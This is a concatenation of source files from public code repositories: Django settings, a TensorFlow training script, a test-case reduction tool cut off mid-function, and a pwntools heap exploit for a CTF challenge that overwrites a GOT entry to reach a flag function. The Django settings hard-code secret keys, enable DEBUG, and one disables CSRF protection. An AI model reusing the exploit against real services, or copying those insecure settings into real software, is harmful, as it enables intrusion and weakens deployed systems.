[ "15327700930m0@sina.cn" ]
15327700930m0@sina.cn
3f6f3c360fb85b42a63ded6ebad5f08d50c847a6
d618bcfbac15840a9f6f3c5971e718aaf425fc06
/upload_server/settings.py
5b620241fc4a07bd918551aec984f2ac393c5359
[]
no_license
mingyuLi97/upload_server
825d605df9d2c7c72a17ce78a0f55bd3c9d6c1bb
6fc26190df235530a21396004d38d3d2c03086bd
refs/heads/master
2020-09-28T22:02:37.606321
2019-12-12T06:04:42
2019-12-12T06:04:42
226,875,132
3
0
null
null
null
null
UTF-8
Python
false
false
3,218
py
""" Django settings for upload_server project. Generated by 'django-admin startproject' using Django 2.0. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'h35q(w#7@1%o29mxy$5#bnjwxca1zp*r7_edqv*ak0w12i18*x' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'upload_app' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'upload_server.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'upload_server.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.0/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static'), os.path.join(BASE_DIR) ]
[ "1154479896@qq.com" ]
1154479896@qq.com
4135bcf778ec0432ade7263d9e8d322bbbc7a395
f4df91e2fb285f9582af7f969243cbbd5397adf4
/dict_flattener.py
db4cb35f9c45eb1022f2c71f78830259c309c9d0
[]
no_license
Pinozerg/lama_scripts
cedd5523cef5cd172d9f18b47d3697f6d85b26a8
1fec86869d540bbc3cbb3885d81f7fe1fa5c173f
refs/heads/master
2021-02-27T19:09:05.508133
2020-03-23T10:02:09
2020-03-23T10:02:09
245,628,946
0
0
null
null
null
null
UTF-8
Python
false
false
427
py
#! python3 # dict, nested dict tranformed into text lines def dict_flattener_v3(nested_dictionary, line_prefix='', key_separator='__', value_prefix='='): if isinstance(nested_dictionary, dict): for k, v in nested_dictionary.items(): yield from dict_flattener_v3(v, line_prefix=line_prefix + key_separator + str(k)) else: yield line_prefix + value_prefix + str(nested_dictionary)
[ "noreply@github.com" ]
noreply@github.com
edfd6ac4b0788da0fffdf589b84ea891b80d16d4
0e37ae346ccf5704493e72ed075a2ba3a8d3650d
/finals/csit2/xpl.py
3c5bb6315edbc3f3b77442c2abe9c615d91f6455
[]
no_license
rootkie/xctf2017-writeups
8afb1ed18a1a1b8f3c1061da3873ec425277f0ac
49f56e12778d0d8377bd208a3d10b6daf1ed7e54
refs/heads/master
2021-03-27T13:44:05.132570
2017-08-01T14:17:40
2017-08-01T14:17:40
91,338,964
2
1
null
null
null
null
UTF-8
Python
false
false
2,179
py
from pwn import * import sys LOCAL = True HOST = '128.199.72.218' PORT = 12345 def add(s): r.sendline('add '+ s) def show(idx): r.sendline('show ' + str(idx)) #data = r.recvuntil('>') #return data def copy(fr,to): r.sendline('copy '+str(fr)+' '+str(to)) #r.recvuntil('>') def exploit(r): for i in xrange(9): r.recvline() FGETGOT = 0x5655a558 - (0x5655a558 - 0x56558024) GETFLAG = 0x5655a558 + (0x56555d58 - 0x5655a558) #Random leaks add(pack(FGETGOT)+pack(FGETGOT)+pack(FGETGOT)+pack(FGETGOT)+ pack(FGETGOT) + pack(FGETGOT)) add('BBBB') add('CCCCCCCCCCCCCCCCCCCC') add(pack(GETFLAG)+pack(GETFLAG)+pack(GETFLAG)+pack(GETFLAG)+pack(GETFLAG)+pack(GETFLAG)) add('BBBB') print "Write finish" pause() copy(0,1) copy(3,2) # add('AAAAAAAAAAAAAAAA' + p32(0x000000FF))# + p32(0x56558024)) # add('BBBB') # add('CCCCCCCCCCCCCCCCCCCC') # add('DDDD') # add('DDDD') # add('DDDD') # add('DDDD') # add('DDDD') # add('DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD') # copy(0,1) # show(2) # print r.recv()[:-0x20] # data = r.recvline() # data2 = r.recvline() # print "hi:" + str(len(data2)) # print hex(u32(data2[-17:-13])) # data = r.recvline() #HEAP_LEAK = u32(r.recvline()) #print hex(HEAP_LEAK) #copy(3,2) # add(pack(0x56555d58)) # pause() # GETFLAG = 0x80004148 + (0x56555d58 - 0x5655a558) # FGETGOT = 0x80004148 - (0x5655a558 - 0x56558024) # # GETFLAG = 0x5655a558 + (0x56555d58 - 0x5655a558 # pause() #copy(0,1) # #show(2) #copy(3,2) #show(2) #copy(0,2) #add(' ') #show(2) # # creating 4 chunks # add('AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJ') # add('KKKKK') # add('LLLLL') # add('MMMMM') # pause() # copy(0,1) r.interactive() return if __name__ == "__main__": if len(sys.argv) == 4: r = remote(HOST, PORT) exploit(r) else: r = process('/home/rootkid/CTF_shits/xctf2017/finals/csit2/heap2_participant') print util.proc.pidof(r) pause() exploit(r)
[ "rkxuanfeng@gmail.com" ]
rkxuanfeng@gmail.com
7220d8b3f098d3920a210f0c1d7ea9868a3937a3
68ae37ca44da5bcd9e31655ad87bf5aff1385dce
/l_5/learning_user/learning_user/settings.py
116a17c73ca70ade268ba660f317837e72b94855
[]
no_license
Ashishprashar/django-example
b5d49902799dc1949719c9e33d15473db66c8b07
47970373167f4d0572961ba48af67d9fe4543e60
refs/heads/main
2023-04-11T04:54:03.499983
2021-04-11T09:45:36
2021-04-11T09:45:36
356,811,753
0
0
null
null
null
null
UTF-8
Python
false
false
3,704
py
""" Django settings for learning_user project. Generated by 'django-admin startproject' using Django 3.1.7. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent TEMPLATES_DIRS = os.path.join(BASE_DIR,'templates') STATIC_DIRS = os.path.join(BASE_DIR,'static') MEDIA_DIRS = os.path.join(BASE_DIR,'media') # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'kj==c(9@(=5_kta3quxu%qh1wq4xf_k+m1n$b=*xi%1u+na&-h' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['ashishdjango.pythonanywhere.com'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'basic_app', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'learning_user.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [TEMPLATES_DIRS], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'learning_user.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators PASSWORD_HASHERS = [ 'django.contrib.auth.hashers.PBKDF2PasswordHasher', 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher', 'django.contrib.auth.hashers.Argon2PasswordHasher', 'django.contrib.auth.hashers.BCryptSHA256PasswordHasher', ] AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTONS': {'min_length': 9}, }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [STATIC_DIRS,] MEDIA_ROOT=MEDIA_DIRS MEDIA_URL ='/media/' LOGIN_URL ='/basic_app/user_login'
[ "ak2917065@gmail.com" ]
ak2917065@gmail.com
065653bd83e3294aa3c38f6cf48f8ece93f51edd
854da1bbabc83d4506febe01932177f54f163399
/extapps/xadmin/plugins/ueditor.py
745f7814a207baf3ee53f697922cb502bb541560
[]
no_license
RainysLiu/XinJuKe
abdefbf67513f5192e5716ebf547e0797a86af6f
9decde1fe5e6020d31e18264795d640c9ff77383
refs/heads/master
2021-07-18T13:59:05.414626
2020-07-01T12:36:22
2020-07-01T12:36:22
188,654,087
3
0
null
null
null
null
UTF-8
Python
false
false
1,388
py
import xadmin from xadmin.views import ( BaseAdminPlugin, CreateAdminView, ModelFormAdminView, UpdateAdminView, ) from DjangoUeditor.models import UEditorField from DjangoUeditor.widgets import UEditorWidget from django.conf import settings class XadminUEditorWidget(UEditorWidget): def __init__(self, **kwargs): self.ueditor_options = kwargs self.Media.js = None super(XadminUEditorWidget, self).__init__(kwargs) class UeditorPlugin(BaseAdminPlugin): def get_field_style(self, attrs, db_field, style, **kwargs): if style == "ueditor": if isinstance(db_field, UEditorField): widget = db_field.formfield().widget param = {} param.update(widget.ueditor_settings) param.update(widget.attrs) return {"widget": XadminUEditorWidget(**param)} return attrs def block_extrahead(self, context, nodes): js = '<script type="text/javascript" src="%s"></script>' % ( settings.STATIC_URL + "ueditor/ueditor.config.js" ) js += '<script type="text/javascript" src="%s"></script>' % ( settings.STATIC_URL + "ueditor/ueditor.all.min.js" ) nodes.append(js) xadmin.site.register_plugin(UeditorPlugin, UpdateAdminView) xadmin.site.register_plugin(UeditorPlugin, CreateAdminView)
[ "1072799939@qq.com" ]
1072799939@qq.com
74e261b28d77cb52dec221a193a9542e8d5192a4
1aeaeaac5c8a66ad4cb940d0d6061e961609265e
/test_train.py
97cd3eca250cf73c9f9fe0b88ac698d2c0a16a8c
[]
no_license
zxc916443179/STAE-abnormal-detection
c6fa378f0e83a423ebe9d681378c972a8a11a12f
edfc367123dce6568e5321611cbe066198e0ad90
refs/heads/master
2020-04-17T21:30:08.689440
2019-01-22T11:58:05
2019-01-22T11:58:05
166,952,712
2
0
null
null
null
null
UTF-8
Python
false
false
5,540
py
import tensorflow as tf import os import sys ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) LOG_DIR = os.path.join(ROOT_DIR, 'log') if not os.path.isdir(LOG_DIR): os.makedirs(LOG_DIR, exist_ok=True) sys.path.append(ROOT_DIR) import model, processing LOG_FOUT = open(os.path.join(LOG_DIR, 'train_log.txt'), 'w') DATA_DIR = '/disk/soya/datasets/UCSDped' GPU_INDEX = 0 BATCH_SIZE = 64 MAX_EPOCH = 50 BASE_LEARNING_RATE = 0.001 TRAIN_FILES = os.path.join(DATA_DIR, 'h5_data/train') TEST_FILES = os.path.join(DATA_DIR, 'h5_data/test') def output_log(out_str): print(out_str) LOG_FOUT.write(out_str+'\n') LOG_FOUT.flush() def get_learning_rate(batch): learning_rate = tf.train.exponential_decay(BASE_LEARNING_RATE, batch*BATCH_SIZE, 200000, 0.7, staircase=True) return learning_rate def train(): with tf.Graph().as_default(): with tf.device('/gpu:'+str(GPU_INDEX)): origin_volume_pl = tf.placeholder(dtype=tf.float32, shape=(BATCH_SIZE, 10, 227, 227)) is_training_pl = tf.placeholder(dtype=tf.bool, shape=()) batch = tf.Variable(0, trainable=False) # get model and loss decoded = model.get_model(origin_volume_pl, is_training_pl) loss = model.get_loss_L2(decoded, origin_volume_pl) tf.summary.scalar('loss', loss) # get training operator learning_rate = get_learning_rate(batch) tf.summary.scalar('learning_rate', learning_rate) optimizer = tf.train.AdamOptimizer(learning_rate) train_op = optimizer.minimize(loss, global_step=batch) # saving all training variables saver = tf.train.Saver() # create session and set config config = tf.ConfigProto() config.gpu_options.allow_growth = True config.allow_soft_placement = True config.log_device_placement = False sess = tf.Session(config=config) # add summary writers merged = tf.summary.merge_all() train_writer = tf.summary.FileWriter(LOG_DIR, sess.graph) eval_writer = tf.summary.FileWriter(LOG_DIR, sess.graph) init = tf.global_variables_initializer() # init variables sess.run(init, {is_training_pl: True}) # loading trained model ckpt = tf.train.get_checkpoint_state(LOG_DIR) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) print('Loading tuned variables from %s' % (LOG_DIR)) # placeholder and option ops = {'origin_volume_pl':origin_volume_pl, 'is_training_pl':is_training_pl, 'decoded':decoded, 'loss':loss, 'merged':merged, 'step':batch, 'train_op':train_op} for epoch in range(MAX_EPOCH): output_log('***EPOCH %03d***' %(epoch)) sys.stdout.flush() # update output train_one_epoch(sess, ops, train_writer) eval_one_epoch(sess, ops, eval_writer) if epoch % 10 == 0: save_path = saver.save(sess, os.path.join(LOG_DIR, 'model.ckpt')) output_log("Model saved in file: %s" %(save_path)) def train_one_epoch(sess, ops, train_writer): is_training = True for fn in os.listdir(TRAIN_FILES): output_log('----'+str(fn)+'----') # loading training data from h5 current_data = processing.loadDataFile(os.path.join(TRAIN_FILES, fn), 'train', 0.9) file_size = current_data.shape[0] num_batches = file_size // BATCH_SIZE loss_sum = 0 total_seen = 0 for batch_index in range(num_batches): start_idx = batch_index * BATCH_SIZE end_idx = (batch_index+1) * BATCH_SIZE feet_dict = {ops['origin_volume_pl']: current_data[start_idx:end_idx, :], ops['is_training_pl']: is_training} loss, decoded, _, summary, step = sess.run([ops['loss'], ops['decoded'], ops['train_op'], ops['merged'], ops['step']], feed_dict=feet_dict) total_seen += BATCH_SIZE loss_sum += loss train_writer.add_summary(summary, step) output_log('mean loss: %f' % (loss_sum/float(num_batches))) def eval_one_epoch(sess, ops, eval_writer): is_training = False for fn in os.listdir(TRAIN_FILES): output_log('----eval_'+str(fn)+'----') # loading validation data from h5 current_eval_Data = processing.loadDataFile(os.path.join(TRAIN_FILES, fn), 'eval', 0.9) file_size = current_eval_Data.shape[0] num_batches = file_size // BATCH_SIZE loss_sum = 0 total_seen = 0 for batch_index in range(num_batches): start_idx = batch_index * BATCH_SIZE end_idx = (batch_index+1) * BATCH_SIZE feed_dict = {ops['origin_volume_pl']: current_eval_Data[start_idx:end_idx, :], ops['is_training_pl']: is_training} loss, decoded, _, summary, step = sess.run([ops['loss'], ops['decoded'], ops['train_op'], ops['merged'], ops['step']], feed_dict=feed_dict) total_seen += BATCH_SIZE loss_sum += loss eval_writer.add_summary(summary, step) output_log('eval mean loss: %f' % (loss_sum/float(num_batches))) if __name__ == '__main__': train() LOG_FOUT.close()
[ "zxc916443179@163.com" ]
zxc916443179@163.com
53e45f6370195df23f3ec7adf095359fb79e466e
478c4a01990f514813d4dd05faac39d18f0cdc9f
/clang/utils/creduce_crash_testcase.py
7affc59f42ac64f487de68eb42f717b932ee9a5c
[ "Apache-2.0", "LLVM-exception", "NCSA" ]
permissive
capt-hb/llvm-project
6632477ecc28c07244dfe961dd7b25143f84b51f
3214ab1279d10920828877865b3286266600666d
refs/heads/master
2022-10-09T04:24:03.973787
2020-06-08T14:12:29
2020-06-08T14:12:29
212,033,396
0
2
null
2019-10-01T07:08:10
2019-10-01T07:08:09
null
UTF-8
Python
false
false
68,098
py
#!/usr/bin/env python3 # PYTHON_ARGCOMPLETE_OK import argparse import re import os import tempfile import shutil import shlex import subprocess import sys import resource import typing from abc import ABCMeta, abstractmethod from enum import Enum from pathlib import Path lit_path = Path(__file__).parent.parent.parent / "llvm/utils/lit" if not lit_path.exists(): sys.exit("Cannot find lit in expected path " + str(lit_path)) sys.path.insert(1, str(lit_path)) from lit.llvm.config import LLVMConfig, FindTool, ToolSubst import lit.TestRunner try: from colors import blue, red, green, bold except ImportError: print("Install the ansicolors package for coloured output.") # noinspection PyUnusedLocal def blue(s, bg=None, style=None): return s bold = blue red = blue green = blue options = None # type: Options def verbose_print(*args, **kwargs): global options if options.verbose: print(*args, **kwargs) def extremely_verbose_print(*args, **kwargs): global options if options.extremely_verbose: print(*args, **kwargs) def quote_cmd(cmd: typing.List[str]): return " ".join(shlex.quote(s) for s in cmd) def die(*args): sys.exit(red(" ".join(map(str, args)), style="bold")) def run(cmd: list, **kwargs): print(cmd, kwargs) subprocess.check_call(list(map(str, cmd)), **kwargs) class ErrorKind(Enum): CRASH = tuple() INFINITE_LOOP = (b"INFINITE LOOP:", ) FATAL_ERROR = (b"fatal error:", b"LLVM ERROR:", b"*** Bad machine code:") AddressSanitizer_ERROR = (b"ERROR: AddressSanitizer:", ) class LitSubstitutionHandler(object): class _FakeLitConfig(object): def __init__(self, args: "Options"): self.params = dict(CHERI_CAP_SIZE="16") self.quiet = True def note(self, msg): print(blue(msg)) def fatal(self, msg): sys.exit(msg) class _FakeLitParams(object): def __init__(self, args: "Options"): self.available_features = set() self.substitutions = [] self.llvm_tools_dir = str(args.bindir) self.environment = os.environ.copy() self.name = "reduce-crash" # Don't matter but are needed for clang substitutions self.target_triple = "x86_64-unknown-linux-gnu" self.host_triple = "x86_64-unknown-linux-gnu" def __init__(self, args: "Options"): llvm_config = LLVMConfig(LitSubstitutionHandler._FakeLitConfig(args), LitSubstitutionHandler._FakeLitParams(args)) llvm_config.use_default_substitutions() # Not really required but makes debugging tests easier llvm_config.use_clang() llvm_config.add_cheri_tool_substitutions(["llc", "opt", "llvm-mc"]) llvm_tools = [ 'dsymutil', 'lli', 'lli-child-target', 'llvm-ar', 'llvm-as', 'llvm-bcanalyzer', 'llvm-config', 'llvm-cov', 'llvm-cxxdump', 'llvm-cvtres', 'llvm-diff', 'llvm-dis', 'llvm-dwarfdump', 'llvm-exegesis', 'llvm-extract', 'llvm-isel-fuzzer', 'llvm-ifs', 'llvm-install-name-tool', 'llvm-jitlink', 'llvm-opt-fuzzer', 'llvm-lib', 'llvm-link', 'llvm-lto', 'llvm-lto2', 'llvm-mc', 'llvm-mca', 'llvm-modextract', 'llvm-nm', 'llvm-objcopy', 'llvm-objdump', 'llvm-pdbutil', 'llvm-profdata', 'llvm-ranlib', 'llvm-rc', 'llvm-readelf', 'llvm-readobj', 'llvm-rtdyld', 'llvm-size', 'llvm-split', 'llvm-strings', 'llvm-strip', 'llvm-tblgen', 'llvm-undname', 'llvm-c-test', 'llvm-cxxfilt', 'llvm-xray', 'yaml2obj', 'obj2yaml', 'yaml-bench', 'verify-uselistorder', 'bugpoint', 'llc', 'llvm-symbolizer', 'opt', 'sancov', 'sanstats' ] llvm_config.add_tool_substitutions(llvm_tools) self.substitutions = llvm_config.config.substitutions import pprint pprint.pprint(self.substitutions) def expand_lit_subtitutions(self, cmd: str) -> str: result = lit.TestRunner.applySubstitutions([cmd], self.substitutions) assert len(result) == 1 print(blue(cmd), "->", red(result)) return result[0] # TODO: reverse apply: def add_lit_substitutions(args: "Options", run_line: str) -> str: for path, replacement in ((args.clang_cmd, "%clang"), (args.opt_cmd, "opt"), (args.llc_cmd, "llc")): if str(path) in run_line: run_line = run_line.replace(str(path), replacement) break run_line = re.sub("%clang\s+-cc1", "%clang_cc1", run_line) # convert %clang_cc1 -target-cpu cheri to %cheri_cc1 / %cheri_purecap_cc1 run_line = run_line.replace("-Werror=implicit-int", "") # important for creduce but not for the test if "%clang_cc1" in run_line: target_cpu_re = r"-target-cpu\s+cheri[^\s]*\s*" triple_cheri_freebsd_re = re.compile(r"-triple\s+((?:cheri|mips64c128|mips64c256)-unknown-freebsd\d*(-purecap)?)*\s+") found_cheri_triple = None triple_match = re.search(triple_cheri_freebsd_re, run_line) print(triple_match) if triple_match: found_cheri_triple = triple_match.group(1) if re.search(target_cpu_re, run_line) or found_cheri_triple: run_line = re.sub(target_cpu_re, "", run_line) # remove run_line = re.sub(triple_cheri_freebsd_re, "", run_line) # remove run_line = run_line.replace("%clang_cc1", "%cheri_cc1") run_line = run_line.replace("-mllvm -cheri128", "") run_line = re.sub(r"-cheri-size \d+ ", "", run_line) # remove run_line = re.sub(r"-target-cpu mips4 ", "", run_line) # remove target_abi_re = re.compile(r"-target-abi\s+purecap\s*") if re.search(target_abi_re, run_line) is not None or "-purecap" in found_cheri_triple: run_line = re.sub(target_abi_re, "", run_line) # remove assert "%cheri_cc1" in run_line run_line = run_line.replace("%cheri_cc1", "%cheri_purecap_cc1") if "llc " in run_line: # TODO: convert the 128/256 variants? triple_cheri_freebsd_re = re.compile(r"-mtriple=+((?:cheri|mips64c128|mips64c256)-unknown-freebsd\d*(-purecap)?)*\s+") found_cheri_triple = None triple_match = re.search(triple_cheri_freebsd_re, run_line) if triple_match: found_cheri_triple = triple_match.group(1) run_line = re.sub(triple_cheri_freebsd_re, "", run_line) # remove triple target_abi_re = re.compile(r"-target-abi\s+purecap\s*") if re.search(target_abi_re, run_line) is not None or "-purecap" in found_cheri_triple: # purecap run_line = re.sub(target_abi_re, "", run_line) # remove run_line = re.sub(r"\s-relocation-model=pic", "", run_line) # remove run_line = re.sub("llc\s+", "%cheri_purecap_llc ", run_line) # remove triple else: # hybrid run_line = re.sub("llc\s+", "%cheri_llc ", run_line) # remove triple # remove 128 vs 256: run_line = re.sub(r" -cheri-size \d+", "", run_line) # remove run_line = re.sub(r" -mattr=\+cheri\d+", "", run_line) # remove run_line = re.sub(r" -mcpu=\+cheri\d+", "", run_line) # remove run_line = re.sub(r" -mattr=\+chericap", "", run_line) # remove (implied by %cheri) if "opt " in run_line: run_line = re.sub(r"opt\s+-mtriple=cheri-unknown-freebsd", "%cheri_opt", run_line) return run_line # to test the lit substitutions # class fake_args: # clang_cmd = "/path/to/clang" # llc_cmd = "/path/to/llc" # opt_cmd = "/path/to/opt" # # print(add_lit_substitutions(fake_args(), "llc -o /dev/null -mtriple=cheri-unknown-freebsd-purecap -relocation-model=pic -thread-model=posix -mattr=-noabicalls -mattr=+soft-float -mattr=+chericap -mattr=+cheri128 -target-abi purecap -float-abi=soft -vectorize-loops -vectorize-slp -mcpu=mips4 -O2 -mxcaptable=false -mips-ssection-threshold=0 -cheri-cap-table-abi=pcrel -verify-machineinstrs %s")) # print(add_lit_substitutions(fake_args(), "%clang_cc1 -triple mips64c128-unknown-freebsd13-purecap -munwind-tables -fuse-init-array -target-cpu mips4 -target-abi purecap -cheri-size 128 -mllvm -cheri-cap-table-abi=pcrel -target-linker-version 450.3 -std=c++11 -fno-builtin -faddrsig -o - -emit-llvm -O0 -Wimplicit-int -Wfatal-errors %s")) # # sys.exit() class ReduceTool(metaclass=ABCMeta): def __init__(self, args: "Options", name: str, tool: Path) -> None: self.tool = tool self.name = name self.exit_statement = "" self.args = args self.infile_name = None self.not_interesting_exit_code = None # type: int self.interesting_exit_code = None # type: int print("Reducing test case using", name) def _reduce_script_text(self, input_file: Path, run_cmds: typing.List[typing.List[str]]): verbose_print("Generating reduce script for the following commands:", run_cmds) # Handling timeouts in a shell script is awful -> just generate a python script instead result = """#!/usr/bin/env python3 import subprocess import os import signal import sys # https://stackoverflow.com/questions/4789837/how-to-terminate-a-python-subprocess-launched-with-shell-true/4791612#4791612 def run_cmd(cmd, timeout): with subprocess.Popen(cmd, shell=True, preexec_fn=os.setsid) as process: try: stdout, stderr = process.communicate(timeout=timeout) retcode = process.poll() return subprocess.CompletedProcess(process.args, retcode, stdout, stderr) except subprocess.TimeoutExpired: os.killpg(os.getpgid(process.pid), signal.SIGKILL) process.kill() raise subprocess.TimeoutExpired(process.args, timeout) except: os.killpg(os.getpgid(process.pid), signal.SIGKILL) process.kill() process.wait() raise """ timeout_arg = self.args.timeout if self.args.timeout else "None" for cmd in run_cmds: # check for %s should have happened earlier assert "%s" in cmd, cmd compiler_cmd = quote_cmd(cmd).replace("%s", self.input_file_arg(input_file)) assert compiler_cmd.startswith("/"), "Command must use absolute path: " + compiler_cmd grep_msg = "" crash_flag = "--crash" if self.args.expected_error_kind in (None, ErrorKind.CRASH) else "" if self.args.crash_message: grep_msg += "2>&1 | grep -F " + shlex.quote(self.args.crash_message) # exit once the first command crashes timeout_exitcode = self.not_interesting_exit_code if self.args.expected_error_kind == ErrorKind.INFINITE_LOOP: timeout_exitcode = self.interesting_exit_code result += """ try: command = r'''{not_cmd} {crash_flag} {command} {grep_msg} ''' result = run_cmd(command, timeout={timeout_arg}) if result.returncode != 0: sys.exit({not_interesting}) except subprocess.TimeoutExpired: print("TIMED OUT", file=sys.stderr) sys.exit({timeout_exitcode}) except Exception as e: print("SOME OTHER ERROR:", e) sys.exit({not_interesting}) """.format(timeout_arg=timeout_arg, not_interesting=self.not_interesting_exit_code, timeout_exitcode=timeout_exitcode, not_cmd=self.args.not_cmd, crash_flag=crash_flag, command=compiler_cmd, grep_msg=grep_msg) return result + "sys.exit(" + str(self.interesting_exit_code) + ")" def _create_reduce_script(self, tmpdir: Path, input_file: Path, run_cmds): reduce_script = Path(tmpdir, "reduce_script.sh").absolute() reduce_script_text = self._reduce_script_text(input_file, run_cmds) reduce_script.write_text(reduce_script_text) print("Reduce script:\n", bold(reduce_script_text), sep="") reduce_script.chmod(0o755) if not self.is_reduce_script_interesting(reduce_script, input_file): die("Reduce script is not interesting!") return reduce_script def create_test_case(self, input_text: str, test_case: Path, run_lines: typing.List[str]): processed_run_lines = [] # TODO: try to remove more flags from the RUN: line! for run_line in run_lines: verbose_print("Adding run line: ", run_line) with_lit_subs = add_lit_substitutions(self.args, run_line) verbose_print("Substituted line: ", with_lit_subs) processed_run_lines.append(with_lit_subs) result = "\n".join(processed_run_lines) + "\n" + input_text with test_case.open("w", encoding="utf-8") as f: f.write(result) f.flush() print("\nResulting test case ", test_case, sep="") verbose_print(result) def is_reduce_script_interesting(self, reduce_script: Path, input_file: Path) -> bool: raise NotImplemented() @abstractmethod def reduce(self, input_file: Path, extra_args: list, tempdir: Path, run_cmds: typing.List[typing.List[str]], run_lines: typing.List[str]): raise NotImplemented() @abstractmethod def input_file_arg(self, input_file: Path) -> str: raise NotImplemented() class RunBugpoint(ReduceTool): def __init__(self, args: "Options") -> None: super().__init__(args, "bugpoint", tool=args.bugpoint_cmd) # bugpoint wants a non-zero exit code on interesting exit code self.interesting_exit_code = 1 # type: int self.not_interesting_exit_code = 0 # type: int def reduce(self, input_file, extra_args, tempdir, run_cmds: typing.List[typing.List[str]], run_lines: typing.List[str]): bugpoint = [self.tool, "-opt-command=" + str(self.args.opt_cmd), "-output-prefix=" + input_file.name] if self.args.verbose: bugpoint.append("-verbose-errors") expected_output_file = Path.cwd() / (input_file.name + "-reduced-simplified.bc") if expected_output_file.exists(): print("bugpoint output file already exists: ", bold(expected_output_file)) if input("Delete it and continue? [Y/n]").lower().startswith("n"): die("Can't continue") else: expected_output_file.unlink() # use a custom script to check for matching crash message: # This is also needed when reducing infinite loops since otherwise bugpoint will just freeze if self.args.crash_message or self.args.expected_error_kind == ErrorKind.INFINITE_LOOP: # check that the reduce script is interesting: # http://blog.llvm.org/2015/11/reduce-your-testcases-with-bugpoint-and.html # ./bin/bugpoint -compile-custom -compile-command=./check.sh -opt-command=./bin/opt my_test_case.ll reduce_script = self._create_reduce_script(tempdir, input_file.absolute(), run_cmds) print("Checking whether reduce script works") test_result = subprocess.run([str(reduce_script.absolute()), str(input_file)]) if test_result.returncode == 0: die("Interestingness test failed for bugpoint. Does the command really crash? Script was", reduce_script.read_text()) 